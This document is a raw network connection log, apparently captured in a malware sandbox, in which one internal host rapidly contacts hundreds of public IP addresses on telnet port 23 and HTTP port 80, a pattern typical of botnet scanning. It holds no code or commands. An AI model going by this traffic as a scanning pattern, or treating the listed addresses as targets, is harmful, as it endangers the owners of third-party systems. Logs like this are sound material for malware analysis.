Jan 5, 2025 14:26:57.197659016 CET	57214	23	192.168.2.13	123.189.126.10
Jan 5, 2025 14:26:57.197668076 CET	57214	23	192.168.2.13	222.13.241.168
Jan 5, 2025 14:26:57.197669029 CET	57214	23	192.168.2.13	65.25.172.231
Jan 5, 2025 14:26:57.199680090 CET	57214	23	192.168.2.13	172.97.222.68
Jan 5, 2025 14:26:57.199698925 CET	57214	23	192.168.2.13	123.109.55.140
Jan 5, 2025 14:26:57.201714993 CET	23	57214	36.220.92.172	192.168.2.13
Jan 5, 2025 14:26:57.201725006 CET	23	57214	104.191.63.90	192.168.2.13
Jan 5, 2025 14:26:57.201733112 CET	23	57214	97.215.0.16	192.168.2.13
Jan 5, 2025 14:26:57.201742887 CET	23	57214	34.12.166.126	192.168.2.13
Jan 5, 2025 14:26:57.201751947 CET	23	57214	36.253.42.211	192.168.2.13
Jan 5, 2025 14:26:57.201760054 CET	23	57214	217.243.225.255	192.168.2.13
Jan 5, 2025 14:26:57.201769114 CET	23	57214	177.60.42.12	192.168.2.13
Jan 5, 2025 14:26:57.201776981 CET	23	57214	54.141.60.202	192.168.2.13
Jan 5, 2025 14:26:57.201780081 CET	57214	23	192.168.2.13	104.191.63.90
Jan 5, 2025 14:26:57.201780081 CET	57214	23	192.168.2.13	97.215.0.16
Jan 5, 2025 14:26:57.201785088 CET	23	57214	27.13.194.134	192.168.2.13
Jan 5, 2025 14:26:57.201786041 CET	57214	23	192.168.2.13	34.12.166.126
Jan 5, 2025 14:26:57.201792002 CET	57214	23	192.168.2.13	36.220.92.172
Jan 5, 2025 14:26:57.201793909 CET	23	57214	62.103.125.181	192.168.2.13
Jan 5, 2025 14:26:57.201797009 CET	57214	23	192.168.2.13	54.141.60.202
Jan 5, 2025 14:26:57.201798916 CET	57214	23	192.168.2.13	177.60.42.12
Jan 5, 2025 14:26:57.201803923 CET	57214	23	192.168.2.13	36.253.42.211
Jan 5, 2025 14:26:57.201803923 CET	57214	23	192.168.2.13	217.243.225.255
Jan 5, 2025 14:26:57.202147961 CET	23	57214	211.165.165.192	192.168.2.13
Jan 5, 2025 14:26:57.202158928 CET	23	57214	205.70.128.58	192.168.2.13
Jan 5, 2025 14:26:57.202167034 CET	23	57214	99.179.201.14	192.168.2.13
Jan 5, 2025 14:26:57.202176094 CET	23	57214	27.59.216.164	192.168.2.13
Jan 5, 2025 14:26:57.202184916 CET	23	57214	91.62.76.249	192.168.2.13
Jan 5, 2025 14:26:57.202193022 CET	23	57214	138.76.199.244	192.168.2.13
Jan 5, 2025 14:26:57.202202082 CET	23	57214	128.180.135.44	192.168.2.13
Jan 5, 2025 14:26:57.202219963 CET	23	57214	37.210.65.243	192.168.2.13
Jan 5, 2025 14:26:57.202229977 CET	23	57214	163.130.24.203	192.168.2.13
Jan 5, 2025 14:26:57.202238083 CET	23	57214	34.227.32.160	192.168.2.13
Jan 5, 2025 14:26:57.202245951 CET	23	57214	92.75.76.154	192.168.2.13
Jan 5, 2025 14:26:57.202255011 CET	23	57214	182.62.205.52	192.168.2.13
Jan 5, 2025 14:26:57.202264071 CET	23	57214	173.189.108.150	192.168.2.13
Jan 5, 2025 14:26:57.202271938 CET	23	57214	152.171.111.89	192.168.2.13
Jan 5, 2025 14:26:57.202280998 CET	23	57214	61.195.187.56	192.168.2.13
Jan 5, 2025 14:26:57.202290058 CET	23	57214	82.173.255.160	192.168.2.13
Jan 5, 2025 14:26:57.202290058 CET	57214	23	192.168.2.13	62.103.125.181
Jan 5, 2025 14:26:57.202290058 CET	57214	23	192.168.2.13	99.179.201.14
Jan 5, 2025 14:26:57.202296019 CET	57214	23	192.168.2.13	27.59.216.164
Jan 5, 2025 14:26:57.202299118 CET	23	57214	99.172.81.159	192.168.2.13
Jan 5, 2025 14:26:57.202300072 CET	57214	23	192.168.2.13	92.75.76.154
Jan 5, 2025 14:26:57.202300072 CET	57214	23	192.168.2.13	182.62.205.52
Jan 5, 2025 14:26:57.202306986 CET	23	57214	19.54.121.17	192.168.2.13
Jan 5, 2025 14:26:57.202307940 CET	57214	23	192.168.2.13	27.13.194.134
Jan 5, 2025 14:26:57.202308893 CET	57214	23	192.168.2.13	128.180.135.44
Jan 5, 2025 14:26:57.202308893 CET	57214	23	192.168.2.13	152.171.111.89
Jan 5, 2025 14:26:57.202315092 CET	57214	23	192.168.2.13	173.189.108.150
Jan 5, 2025 14:26:57.202316046 CET	23	57214	64.2.212.128	192.168.2.13
Jan 5, 2025 14:26:57.202326059 CET	23	57214	204.130.57.133	192.168.2.13
Jan 5, 2025 14:26:57.202334881 CET	23	57214	177.1.46.162	192.168.2.13
Jan 5, 2025 14:26:57.202337027 CET	57214	23	192.168.2.13	138.76.199.244
Jan 5, 2025 14:26:57.202337027 CET	57214	23	192.168.2.13	91.62.76.249
Jan 5, 2025 14:26:57.202342033 CET	57214	23	192.168.2.13	37.210.65.243
Jan 5, 2025 14:26:57.202342033 CET	57214	23	192.168.2.13	163.130.24.203
Jan 5, 2025 14:26:57.202342987 CET	57214	23	192.168.2.13	34.227.32.160
Jan 5, 2025 14:26:57.202343941 CET	23	57214	23.51.177.98	192.168.2.13
Jan 5, 2025 14:26:57.202353001 CET	23	57214	137.147.134.243	192.168.2.13
Jan 5, 2025 14:26:57.202357054 CET	57214	23	192.168.2.13	61.195.187.56
Jan 5, 2025 14:26:57.202357054 CET	57214	23	192.168.2.13	205.70.128.58
Jan 5, 2025 14:26:57.202357054 CET	57214	23	192.168.2.13	82.173.255.160
Jan 5, 2025 14:26:57.202357054 CET	57214	23	192.168.2.13	99.172.81.159
Jan 5, 2025 14:26:57.202358007 CET	57214	23	192.168.2.13	211.165.165.192
Jan 5, 2025 14:26:57.202358007 CET	57214	23	192.168.2.13	64.2.212.128
Jan 5, 2025 14:26:57.202358961 CET	57214	23	192.168.2.13	177.1.46.162
Jan 5, 2025 14:26:57.202358007 CET	57214	23	192.168.2.13	204.130.57.133
Jan 5, 2025 14:26:57.202368975 CET	23	57214	107.32.31.112	192.168.2.13
Jan 5, 2025 14:26:57.202378035 CET	23	57214	35.163.78.73	192.168.2.13
Jan 5, 2025 14:26:57.202383041 CET	57214	23	192.168.2.13	19.54.121.17
Jan 5, 2025 14:26:57.202393055 CET	23	57214	111.161.213.66	192.168.2.13
Jan 5, 2025 14:26:57.202405930 CET	23	57214	142.242.172.26	192.168.2.13
Jan 5, 2025 14:26:57.202411890 CET	57214	23	192.168.2.13	137.147.134.243
Jan 5, 2025 14:26:57.202414989 CET	23	57214	63.36.197.29	192.168.2.13
Jan 5, 2025 14:26:57.202423096 CET	57214	23	192.168.2.13	111.161.213.66
Jan 5, 2025 14:26:57.202424049 CET	57214	23	192.168.2.13	23.51.177.98
Jan 5, 2025 14:26:57.202424049 CET	23	57214	2.145.221.106	192.168.2.13
Jan 5, 2025 14:26:57.202428102 CET	57214	23	192.168.2.13	107.32.31.112
Jan 5, 2025 14:26:57.202434063 CET	23	57214	63.98.28.205	192.168.2.13
Jan 5, 2025 14:26:57.202434063 CET	57214	23	192.168.2.13	35.163.78.73
Jan 5, 2025 14:26:57.202435017 CET	57214	23	192.168.2.13	142.242.172.26
Jan 5, 2025 14:26:57.202435017 CET	57214	23	192.168.2.13	63.36.197.29
Jan 5, 2025 14:26:57.202444077 CET	57214	23	192.168.2.13	2.145.221.106
Jan 5, 2025 14:26:57.202445030 CET	23	57214	44.19.42.46	192.168.2.13
Jan 5, 2025 14:26:57.202455044 CET	23	57214	190.213.174.119	192.168.2.13
Jan 5, 2025 14:26:57.202462912 CET	23	57214	42.215.223.77	192.168.2.13
Jan 5, 2025 14:26:57.202467918 CET	57214	23	192.168.2.13	63.98.28.205
Jan 5, 2025 14:26:57.202471018 CET	23	57214	13.115.5.156	192.168.2.13
Jan 5, 2025 14:26:57.202481031 CET	23	57214	154.182.1.140	192.168.2.13
Jan 5, 2025 14:26:57.202490091 CET	23	57214	64.229.172.91	192.168.2.13
Jan 5, 2025 14:26:57.202490091 CET	57214	23	192.168.2.13	44.19.42.46
Jan 5, 2025 14:26:57.202491045 CET	57214	23	192.168.2.13	190.213.174.119
Jan 5, 2025 14:26:57.202490091 CET	57214	23	192.168.2.13	42.215.223.77
Jan 5, 2025 14:26:57.202497005 CET	23	57214	210.146.178.35	192.168.2.13
Jan 5, 2025 14:26:57.202507019 CET	57214	23	192.168.2.13	13.115.5.156
Jan 5, 2025 14:26:57.202507019 CET	23	57214	160.41.28.161	192.168.2.13
Jan 5, 2025 14:26:57.202516079 CET	23	57214	115.125.134.17	192.168.2.13
Jan 5, 2025 14:26:57.202519894 CET	57214	23	192.168.2.13	154.182.1.140
Jan 5, 2025 14:26:57.202522039 CET	57214	23	192.168.2.13	64.229.172.91
Jan 5, 2025 14:26:57.202523947 CET	23	57214	137.226.138.111	192.168.2.13
Jan 5, 2025 14:26:57.202543974 CET	57214	23	192.168.2.13	160.41.28.161
Jan 5, 2025 14:26:57.202544928 CET	57214	23	192.168.2.13	210.146.178.35
Jan 5, 2025 14:26:57.202577114 CET	57214	23	192.168.2.13	115.125.134.17
Jan 5, 2025 14:26:57.202594995 CET	57214	23	192.168.2.13	137.226.138.111
Jan 5, 2025 14:26:57.646131992 CET	56958	80	192.168.2.13	212.2.227.97
Jan 5, 2025 14:26:57.646130085 CET	56958	80	192.168.2.13	205.118.148.77
Jan 5, 2025 14:26:57.646131992 CET	56958	80	192.168.2.13	145.19.0.251
Jan 5, 2025 14:26:57.646131992 CET	56958	80	192.168.2.13	20.28.186.113
Jan 5, 2025 14:26:57.646145105 CET	56958	80	192.168.2.13	174.78.99.129
Jan 5, 2025 14:26:57.646145105 CET	56958	80	192.168.2.13	20.135.161.206
Jan 5, 2025 14:26:57.646147966 CET	56958	80	192.168.2.13	70.59.100.39
Jan 5, 2025 14:26:57.646147013 CET	56958	80	192.168.2.13	202.59.61.14
Jan 5, 2025 14:26:57.646173954 CET	56958	80	192.168.2.13	47.223.128.61
Jan 5, 2025 14:26:57.646181107 CET	56958	80	192.168.2.13	152.11.162.118
Jan 5, 2025 14:26:57.646181107 CET	56958	80	192.168.2.13	207.170.223.230
Jan 5, 2025 14:26:57.646183014 CET	56958	80	192.168.2.13	191.155.177.140
Jan 5, 2025 14:26:57.646184921 CET	56958	80	192.168.2.13	175.115.247.152
Jan 5, 2025 14:26:57.646184921 CET	56958	80	192.168.2.13	111.149.176.172
Jan 5, 2025 14:26:57.646184921 CET	56958	80	192.168.2.13	68.59.212.170
Jan 5, 2025 14:26:57.646184921 CET	56958	80	192.168.2.13	197.175.29.49
Jan 5, 2025 14:26:57.646188021 CET	56958	80	192.168.2.13	154.29.237.181
Jan 5, 2025 14:26:57.646188021 CET	56958	80	192.168.2.13	179.244.210.81
Jan 5, 2025 14:26:57.646188021 CET	56958	80	192.168.2.13	54.76.185.62
Jan 5, 2025 14:26:57.646188974 CET	56958	80	192.168.2.13	169.25.166.142
Jan 5, 2025 14:26:57.646188974 CET	56958	80	192.168.2.13	136.111.8.155
Jan 5, 2025 14:26:57.646198034 CET	56958	80	192.168.2.13	114.221.84.162
Jan 5, 2025 14:26:57.646198034 CET	56958	80	192.168.2.13	175.69.26.129
Jan 5, 2025 14:26:57.646199942 CET	56958	80	192.168.2.13	209.42.133.186
Jan 5, 2025 14:26:57.646199942 CET	56958	80	192.168.2.13	42.177.251.132
Jan 5, 2025 14:26:57.646199942 CET	56958	80	192.168.2.13	152.183.183.228
Jan 5, 2025 14:26:57.646199942 CET	56958	80	192.168.2.13	172.178.47.118
Jan 5, 2025 14:26:57.646212101 CET	56958	80	192.168.2.13	138.149.90.214
Jan 5, 2025 14:26:57.646212101 CET	56958	80	192.168.2.13	85.112.169.198
Jan 5, 2025 14:26:57.646214962 CET	56958	80	192.168.2.13	129.66.108.173
Jan 5, 2025 14:26:57.646229982 CET	56958	80	192.168.2.13	100.158.201.182
Jan 5, 2025 14:26:57.646229982 CET	56958	80	192.168.2.13	144.207.69.32
Jan 5, 2025 14:26:57.646229982 CET	56958	80	192.168.2.13	41.211.226.160
Jan 5, 2025 14:26:57.646229982 CET	56958	80	192.168.2.13	109.175.231.58
Jan 5, 2025 14:26:57.646229982 CET	56958	80	192.168.2.13	113.80.14.65
Jan 5, 2025 14:26:57.646235943 CET	56958	80	192.168.2.13	118.142.10.222
Jan 5, 2025 14:26:57.646235943 CET	56958	80	192.168.2.13	83.165.46.247
Jan 5, 2025 14:26:57.646238089 CET	56958	80	192.168.2.13	170.18.12.17
Jan 5, 2025 14:26:57.646238089 CET	56958	80	192.168.2.13	161.110.36.170
Jan 5, 2025 14:26:57.646235943 CET	56958	80	192.168.2.13	42.224.57.42
Jan 5, 2025 14:26:57.646238089 CET	56958	80	192.168.2.13	210.22.31.139
Jan 5, 2025 14:26:57.646235943 CET	56958	80	192.168.2.13	18.243.227.250
Jan 5, 2025 14:26:57.646236897 CET	56958	80	192.168.2.13	5.162.169.172
Jan 5, 2025 14:26:57.646243095 CET	56958	80	192.168.2.13	183.144.190.44
Jan 5, 2025 14:26:57.646241903 CET	56958	80	192.168.2.13	164.173.175.22
Jan 5, 2025 14:26:57.646243095 CET	56958	80	192.168.2.13	153.194.69.115
Jan 5, 2025 14:26:57.646238089 CET	56958	80	192.168.2.13	118.161.4.217
Jan 5, 2025 14:26:57.646238089 CET	56958	80	192.168.2.13	211.63.223.243
Jan 5, 2025 14:26:57.646243095 CET	56958	80	192.168.2.13	126.131.118.223
Jan 5, 2025 14:26:57.646241903 CET	56958	80	192.168.2.13	83.54.241.221
Jan 5, 2025 14:26:57.646243095 CET	56958	80	192.168.2.13	124.254.137.30
Jan 5, 2025 14:26:57.646254063 CET	56958	80	192.168.2.13	85.116.34.154
Jan 5, 2025 14:26:57.646254063 CET	56958	80	192.168.2.13	197.202.91.27
Jan 5, 2025 14:26:57.646254063 CET	56958	80	192.168.2.13	146.186.111.99
Jan 5, 2025 14:26:57.646260977 CET	56958	80	192.168.2.13	212.121.28.100
Jan 5, 2025 14:26:57.646270037 CET	56958	80	192.168.2.13	152.2.116.187
Jan 5, 2025 14:26:57.646271944 CET	56958	80	192.168.2.13	182.77.8.74
Jan 5, 2025 14:26:57.646272898 CET	56958	80	192.168.2.13	94.215.94.43
Jan 5, 2025 14:26:57.646277905 CET	56958	80	192.168.2.13	194.188.230.126
Jan 5, 2025 14:26:57.646281004 CET	56958	80	192.168.2.13	103.27.64.64
Jan 5, 2025 14:26:57.646286011 CET	56958	80	192.168.2.13	128.87.222.83
Jan 5, 2025 14:26:57.646289110 CET	56958	80	192.168.2.13	137.229.51.219
Jan 5, 2025 14:26:57.646289110 CET	56958	80	192.168.2.13	82.141.191.88
Jan 5, 2025 14:26:57.646291018 CET	56958	80	192.168.2.13	158.191.148.97
Jan 5, 2025 14:26:57.646291018 CET	56958	80	192.168.2.13	58.173.108.78
Jan 5, 2025 14:26:57.646291971 CET	56958	80	192.168.2.13	5.136.42.38
Jan 5, 2025 14:26:57.646291971 CET	56958	80	192.168.2.13	58.218.105.215
Jan 5, 2025 14:26:57.646291971 CET	56958	80	192.168.2.13	89.167.141.132
Jan 5, 2025 14:26:57.646292925 CET	56958	80	192.168.2.13	96.124.227.93
Jan 5, 2025 14:26:57.646291971 CET	56958	80	192.168.2.13	197.118.37.197
Jan 5, 2025 14:26:57.646294117 CET	56958	80	192.168.2.13	188.100.127.193
Jan 5, 2025 14:26:57.646296024 CET	56958	80	192.168.2.13	100.255.57.99
Jan 5, 2025 14:26:57.646306992 CET	56958	80	192.168.2.13	159.6.209.158
Jan 5, 2025 14:26:57.646306992 CET	56958	80	192.168.2.13	204.181.155.13
Jan 5, 2025 14:26:57.646306992 CET	56958	80	192.168.2.13	223.206.138.38
Jan 5, 2025 14:26:57.646310091 CET	56958	80	192.168.2.13	84.77.171.232
Jan 5, 2025 14:26:57.646310091 CET	56958	80	192.168.2.13	87.194.198.158
Jan 5, 2025 14:26:57.646310091 CET	56958	80	192.168.2.13	96.142.55.168
Jan 5, 2025 14:26:57.646310091 CET	56958	80	192.168.2.13	185.145.203.14
Jan 5, 2025 14:26:57.646322966 CET	56958	80	192.168.2.13	171.171.126.32
Jan 5, 2025 14:26:57.646331072 CET	56958	80	192.168.2.13	203.248.240.168
Jan 5, 2025 14:26:57.646332026 CET	56958	80	192.168.2.13	13.237.215.94
Jan 5, 2025 14:26:57.646332026 CET	56958	80	192.168.2.13	195.97.105.91
Jan 5, 2025 14:26:57.646336079 CET	56958	80	192.168.2.13	187.74.229.88
Jan 5, 2025 14:26:57.646336079 CET	56958	80	192.168.2.13	112.52.162.227
Jan 5, 2025 14:26:57.646342993 CET	56958	80	192.168.2.13	99.32.3.56
Jan 5, 2025 14:26:57.646342993 CET	56958	80	192.168.2.13	131.245.219.199
Jan 5, 2025 14:26:57.646344900 CET	56958	80	192.168.2.13	206.65.13.88
Jan 5, 2025 14:26:57.646346092 CET	56958	80	192.168.2.13	34.13.159.87
Jan 5, 2025 14:26:57.646348953 CET	56958	80	192.168.2.13	5.176.68.71
Jan 5, 2025 14:26:57.646365881 CET	56958	80	192.168.2.13	151.94.112.216
Jan 5, 2025 14:26:57.646367073 CET	56958	80	192.168.2.13	123.89.175.201
Jan 5, 2025 14:26:57.646365881 CET	56958	80	192.168.2.13	76.182.91.1
Jan 5, 2025 14:26:57.646367073 CET	56958	80	192.168.2.13	222.114.92.229
Jan 5, 2025 14:26:57.646368027 CET	56958	80	192.168.2.13	34.192.91.83
Jan 5, 2025 14:26:57.646373034 CET	56958	80	192.168.2.13	213.208.238.203
Jan 5, 2025 14:26:57.646375895 CET	56958	80	192.168.2.13	131.234.183.162
Jan 5, 2025 14:26:57.646389008 CET	56958	80	192.168.2.13	13.97.30.20
Jan 5, 2025 14:26:57.646389008 CET	56958	80	192.168.2.13	141.111.64.188
Jan 5, 2025 14:26:57.646394014 CET	56958	80	192.168.2.13	13.155.172.73
Jan 5, 2025 14:26:57.646394014 CET	56958	80	192.168.2.13	112.143.229.101
Jan 5, 2025 14:26:57.646394014 CET	56958	80	192.168.2.13	68.49.226.227
Jan 5, 2025 14:26:57.646394968 CET	56958	80	192.168.2.13	12.63.194.92
Jan 5, 2025 14:26:57.646394968 CET	56958	80	192.168.2.13	223.63.157.159
Jan 5, 2025 14:26:57.646397114 CET	56958	80	192.168.2.13	156.107.96.70
Jan 5, 2025 14:26:57.646397114 CET	56958	80	192.168.2.13	79.125.6.171
Jan 5, 2025 14:26:57.646398067 CET	56958	80	192.168.2.13	51.120.250.228
Jan 5, 2025 14:26:57.646398067 CET	56958	80	192.168.2.13	20.89.211.195
Jan 5, 2025 14:26:57.646410942 CET	56958	80	192.168.2.13	129.2.88.236
Jan 5, 2025 14:26:57.646420002 CET	56958	80	192.168.2.13	183.20.165.249
Jan 5, 2025 14:26:57.646420002 CET	56958	80	192.168.2.13	31.168.138.215
Jan 5, 2025 14:26:57.646425009 CET	56958	80	192.168.2.13	74.160.47.189
Jan 5, 2025 14:26:57.646425009 CET	56958	80	192.168.2.13	81.210.211.121
Jan 5, 2025 14:26:57.646425009 CET	56958	80	192.168.2.13	161.112.66.186
Jan 5, 2025 14:26:57.646425009 CET	56958	80	192.168.2.13	132.118.131.137
Jan 5, 2025 14:26:57.646425009 CET	56958	80	192.168.2.13	103.119.170.124
Jan 5, 2025 14:26:57.646433115 CET	56958	80	192.168.2.13	194.186.125.55
Jan 5, 2025 14:26:57.646433115 CET	56958	80	192.168.2.13	213.193.128.171
Jan 5, 2025 14:26:57.646433115 CET	56958	80	192.168.2.13	112.254.2.230
Jan 5, 2025 14:26:57.646434069 CET	56958	80	192.168.2.13	146.225.55.124
Jan 5, 2025 14:26:57.646433115 CET	56958	80	192.168.2.13	63.145.185.84
Jan 5, 2025 14:26:57.646434069 CET	56958	80	192.168.2.13	5.234.146.99
Jan 5, 2025 14:26:57.646433115 CET	56958	80	192.168.2.13	220.171.50.85
Jan 5, 2025 14:26:57.646433115 CET	56958	80	192.168.2.13	179.179.168.190
Jan 5, 2025 14:26:57.646434069 CET	56958	80	192.168.2.13	59.82.212.179
Jan 5, 2025 14:26:57.646460056 CET	56958	80	192.168.2.13	139.126.47.241
Jan 5, 2025 14:26:57.646466017 CET	56958	80	192.168.2.13	138.208.214.122
Jan 5, 2025 14:26:57.646466017 CET	56958	80	192.168.2.13	223.129.204.69
Jan 5, 2025 14:26:57.646467924 CET	56958	80	192.168.2.13	128.250.24.140
Jan 5, 2025 14:26:57.646467924 CET	56958	80	192.168.2.13	168.138.188.173
Jan 5, 2025 14:26:57.646467924 CET	56958	80	192.168.2.13	207.65.135.136
Jan 5, 2025 14:26:57.646469116 CET	56958	80	192.168.2.13	161.32.176.40
Jan 5, 2025 14:26:57.646469116 CET	56958	80	192.168.2.13	188.66.164.6
Jan 5, 2025 14:26:57.646471024 CET	56958	80	192.168.2.13	166.151.236.1
Jan 5, 2025 14:26:57.646477938 CET	56958	80	192.168.2.13	1.55.176.3
Jan 5, 2025 14:26:57.646481037 CET	56958	80	192.168.2.13	122.158.109.213
Jan 5, 2025 14:26:57.646481037 CET	56958	80	192.168.2.13	168.199.50.216
Jan 5, 2025 14:26:57.646482944 CET	56958	80	192.168.2.13	159.98.153.174
Jan 5, 2025 14:26:57.646482944 CET	56958	80	192.168.2.13	131.32.232.236
Jan 5, 2025 14:26:57.646486998 CET	56958	80	192.168.2.13	62.35.222.46
Jan 5, 2025 14:26:57.646486998 CET	56958	80	192.168.2.13	211.204.192.125
Jan 5, 2025 14:26:57.646490097 CET	56958	80	192.168.2.13	137.53.209.247
Jan 5, 2025 14:26:57.646496058 CET	56958	80	192.168.2.13	174.247.179.35
Jan 5, 2025 14:26:57.646497011 CET	56958	80	192.168.2.13	137.20.4.133
Jan 5, 2025 14:26:57.646503925 CET	56958	80	192.168.2.13	153.118.97.59
Jan 5, 2025 14:26:57.646503925 CET	56958	80	192.168.2.13	69.129.244.94
Jan 5, 2025 14:26:57.646503925 CET	56958	80	192.168.2.13	195.128.171.121
Jan 5, 2025 14:26:57.646506071 CET	56958	80	192.168.2.13	91.156.69.137
Jan 5, 2025 14:26:57.646509886 CET	56958	80	192.168.2.13	96.66.113.29
Jan 5, 2025 14:26:57.646509886 CET	56958	80	192.168.2.13	1.222.5.175
Jan 5, 2025 14:26:57.646539927 CET	56958	80	192.168.2.13	170.118.131.2
Jan 5, 2025 14:26:57.646539927 CET	56958	80	192.168.2.13	107.36.65.220
Jan 5, 2025 14:26:57.646557093 CET	56958	80	192.168.2.13	182.77.199.252
Jan 5, 2025 14:26:57.646557093 CET	56958	80	192.168.2.13	107.45.164.241
Jan 5, 2025 14:26:57.646557093 CET	56958	80	192.168.2.13	155.255.213.106
Jan 5, 2025 14:26:57.646557093 CET	56958	80	192.168.2.13	202.12.178.166
Jan 5, 2025 14:26:57.646557093 CET	56958	80	192.168.2.13	105.124.152.78
Jan 5, 2025 14:26:57.646564007 CET	56958	80	192.168.2.13	84.7.53.132
Jan 5, 2025 14:26:57.646564007 CET	56958	80	192.168.2.13	70.142.109.142
Jan 5, 2025 14:26:57.646565914 CET	56958	80	192.168.2.13	110.177.53.240
Jan 5, 2025 14:26:57.646565914 CET	56958	80	192.168.2.13	176.36.220.167
Jan 5, 2025 14:26:57.646565914 CET	56958	80	192.168.2.13	154.32.6.173
Jan 5, 2025 14:26:57.646565914 CET	56958	80	192.168.2.13	18.1.231.252
Jan 5, 2025 14:26:57.646565914 CET	56958	80	192.168.2.13	185.232.11.191
Jan 5, 2025 14:26:57.646565914 CET	56958	80	192.168.2.13	113.239.38.239
Jan 5, 2025 14:26:57.646570921 CET	56958	80	192.168.2.13	93.4.177.211
Jan 5, 2025 14:26:57.646570921 CET	56958	80	192.168.2.13	147.147.58.31
Jan 5, 2025 14:26:57.646570921 CET	56958	80	192.168.2.13	206.246.114.36
Jan 5, 2025 14:26:57.646575928 CET	56958	80	192.168.2.13	136.135.43.187
Jan 5, 2025 14:26:57.646576881 CET	56958	80	192.168.2.13	128.92.25.103
Jan 5, 2025 14:26:57.646575928 CET	56958	80	192.168.2.13	46.47.179.185
Jan 5, 2025 14:26:57.646576881 CET	56958	80	192.168.2.13	175.198.196.73
Jan 5, 2025 14:26:57.646576881 CET	56958	80	192.168.2.13	19.247.223.129
Jan 5, 2025 14:26:57.646576881 CET	56958	80	192.168.2.13	90.44.212.213
Jan 5, 2025 14:26:57.646576881 CET	56958	80	192.168.2.13	79.200.135.94
Jan 5, 2025 14:26:57.646579981 CET	56958	80	192.168.2.13	178.24.99.136
Jan 5, 2025 14:26:57.646579981 CET	56958	80	192.168.2.13	220.236.175.14
Jan 5, 2025 14:26:57.646579981 CET	56958	80	192.168.2.13	170.215.109.248
Jan 5, 2025 14:26:57.646579981 CET	56958	80	192.168.2.13	142.137.187.56
Jan 5, 2025 14:26:57.646583080 CET	56958	80	192.168.2.13	144.53.130.218
Jan 5, 2025 14:26:57.646583080 CET	56958	80	192.168.2.13	136.139.18.173
Jan 5, 2025 14:26:57.646583080 CET	56958	80	192.168.2.13	179.227.58.49
Jan 5, 2025 14:26:57.646583080 CET	56958	80	192.168.2.13	129.230.23.69
Jan 5, 2025 14:26:57.646589041 CET	56958	80	192.168.2.13	133.173.224.147
Jan 5, 2025 14:26:57.646589041 CET	56958	80	192.168.2.13	150.86.136.128
Jan 5, 2025 14:26:57.646591902 CET	56958	80	192.168.2.13	117.230.106.55
Jan 5, 2025 14:26:57.646591902 CET	56958	80	192.168.2.13	4.204.61.198
Jan 5, 2025 14:26:57.646596909 CET	56958	80	192.168.2.13	100.169.254.162
Jan 5, 2025 14:26:57.646596909 CET	56958	80	192.168.2.13	107.55.175.59
Jan 5, 2025 14:26:57.646596909 CET	56958	80	192.168.2.13	176.131.68.35
Jan 5, 2025 14:26:57.646600008 CET	56958	80	192.168.2.13	17.11.24.178
Jan 5, 2025 14:26:57.646609068 CET	56958	80	192.168.2.13	72.170.104.153
Jan 5, 2025 14:26:57.646610022 CET	56958	80	192.168.2.13	62.229.117.179
Jan 5, 2025 14:26:57.646610975 CET	56958	80	192.168.2.13	97.61.34.14
Jan 5, 2025 14:26:57.646610975 CET	56958	80	192.168.2.13	59.142.31.108
Jan 5, 2025 14:26:57.646614075 CET	56958	80	192.168.2.13	101.94.113.10
Jan 5, 2025 14:26:57.646614075 CET	56958	80	192.168.2.13	200.139.60.255
Jan 5, 2025 14:26:57.646632910 CET	56958	80	192.168.2.13	46.87.149.18
Jan 5, 2025 14:26:57.646636963 CET	56958	80	192.168.2.13	5.236.193.144
Jan 5, 2025 14:26:57.646639109 CET	56958	80	192.168.2.13	155.141.122.186
Jan 5, 2025 14:26:57.646642923 CET	56958	80	192.168.2.13	210.225.187.194
Jan 5, 2025 14:26:57.646648884 CET	56958	80	192.168.2.13	178.225.82.170
Jan 5, 2025 14:26:57.646648884 CET	56958	80	192.168.2.13	184.154.164.153
Jan 5, 2025 14:26:57.646651030 CET	56958	80	192.168.2.13	153.22.122.248
Jan 5, 2025 14:26:57.646648884 CET	56958	80	192.168.2.13	191.162.27.244
Jan 5, 2025 14:26:57.646651030 CET	56958	80	192.168.2.13	51.50.240.239
Jan 5, 2025 14:26:57.646648884 CET	56958	80	192.168.2.13	82.149.109.195
Jan 5, 2025 14:26:57.646648884 CET	56958	80	192.168.2.13	76.42.11.22
Jan 5, 2025 14:26:57.646656990 CET	56958	80	192.168.2.13	80.202.29.228
Jan 5, 2025 14:26:57.646660089 CET	56958	80	192.168.2.13	171.240.129.164
Jan 5, 2025 14:26:57.646661043 CET	56958	80	192.168.2.13	99.233.102.54
Jan 5, 2025 14:26:57.646661043 CET	56958	80	192.168.2.13	201.227.77.1
Jan 5, 2025 14:26:57.646663904 CET	56958	80	192.168.2.13	69.248.29.90
Jan 5, 2025 14:26:57.646667004 CET	56958	80	192.168.2.13	66.19.103.65
Jan 5, 2025 14:26:57.646667004 CET	56958	80	192.168.2.13	52.102.137.252
Jan 5, 2025 14:26:57.646667004 CET	56958	80	192.168.2.13	144.232.25.184
Jan 5, 2025 14:26:57.646667004 CET	56958	80	192.168.2.13	31.4.235.104
Jan 5, 2025 14:26:57.646681070 CET	56958	80	192.168.2.13	57.142.94.168
Jan 5, 2025 14:26:57.646681070 CET	56958	80	192.168.2.13	154.136.70.87
Jan 5, 2025 14:26:57.646684885 CET	56958	80	192.168.2.13	148.33.178.140
Jan 5, 2025 14:26:57.646686077 CET	56958	80	192.168.2.13	192.75.160.118
Jan 5, 2025 14:26:57.646686077 CET	56958	80	192.168.2.13	142.145.53.160
Jan 5, 2025 14:26:57.646687031 CET	56958	80	192.168.2.13	104.183.170.132
Jan 5, 2025 14:26:57.646687984 CET	56958	80	192.168.2.13	183.148.74.164
Jan 5, 2025 14:26:57.646687984 CET	56958	80	192.168.2.13	87.40.253.68
Jan 5, 2025 14:26:57.646687984 CET	56958	80	192.168.2.13	41.214.53.75
Jan 5, 2025 14:26:57.646697998 CET	56958	80	192.168.2.13	50.206.23.130
Jan 5, 2025 14:26:57.646697998 CET	56958	80	192.168.2.13	24.95.59.88
Jan 5, 2025 14:26:57.646698952 CET	56958	80	192.168.2.13	17.105.203.73
Jan 5, 2025 14:26:57.646698952 CET	56958	80	192.168.2.13	206.126.238.114
Jan 5, 2025 14:26:57.646699905 CET	56958	80	192.168.2.13	124.255.218.234
Jan 5, 2025 14:26:57.646701097 CET	56958	80	192.168.2.13	153.247.238.146
Jan 5, 2025 14:26:57.646701097 CET	56958	80	192.168.2.13	205.122.215.181
Jan 5, 2025 14:26:57.646714926 CET	56958	80	192.168.2.13	182.74.247.80
Jan 5, 2025 14:26:57.646714926 CET	56958	80	192.168.2.13	153.190.23.159
